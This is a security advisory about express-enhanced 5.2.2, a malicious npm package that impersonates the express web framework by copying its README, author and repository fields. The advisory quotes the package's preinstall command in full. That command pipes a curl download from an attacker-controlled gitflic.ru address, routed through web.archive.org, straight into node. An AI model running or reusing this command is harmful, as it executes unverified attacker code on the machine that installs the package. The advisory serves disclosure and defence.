# GHSA-QJ2F-36RW-2GVM: Malicious code in express-enhanced (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-10-05
- Modified: 2026-10-06

## Affected versions

- express-enhanced (npm): 5.2.2

## Description

## Source: amazon-inspector (15d6ce3e4c988439e6023bb900fde41c1a7eebe0c372eddc3a3c3c9d8206a9d6)
express-enhanced@5.2.2 impersonates the express package: it ships the express README verbatim, declares `TJ Holowaychuk` as author, and points `repository` at `expressjs/express`, while publishing under a different name. The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading an unpinned JavaScript payload from a gitflic.ru account unrelated to the express maintainers (wrapped through web.archive.org) and piping it directly to node at `npm install` time. The fetched content is not integrity-checked, the source is mutable and attacker-controlled, and execution happens automatically on install, giving the publisher arbitrary code execution on any machine that installs the package.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-enhanced/MAL-2026-17489.json))

## References

- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-enhanced/MAL-2026-17489.json
- https://www.npmjs.com/package/express-enhanced/v/5.2.2
- https://github.com/ossf/malicious-packages/blob/09799f478ecb33d0996b76d0bacee63ac0149266/osv/malicious/npm/express-enhanced/MAL-2026-17489.json
- https://www.npmjs.com/package/express-enhanced
- https://github.com/advisories/GHSA-qj2f-36rw-2gvm

Page: https://cve.now/GHSA-QJ2F-36RW-2GVM

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
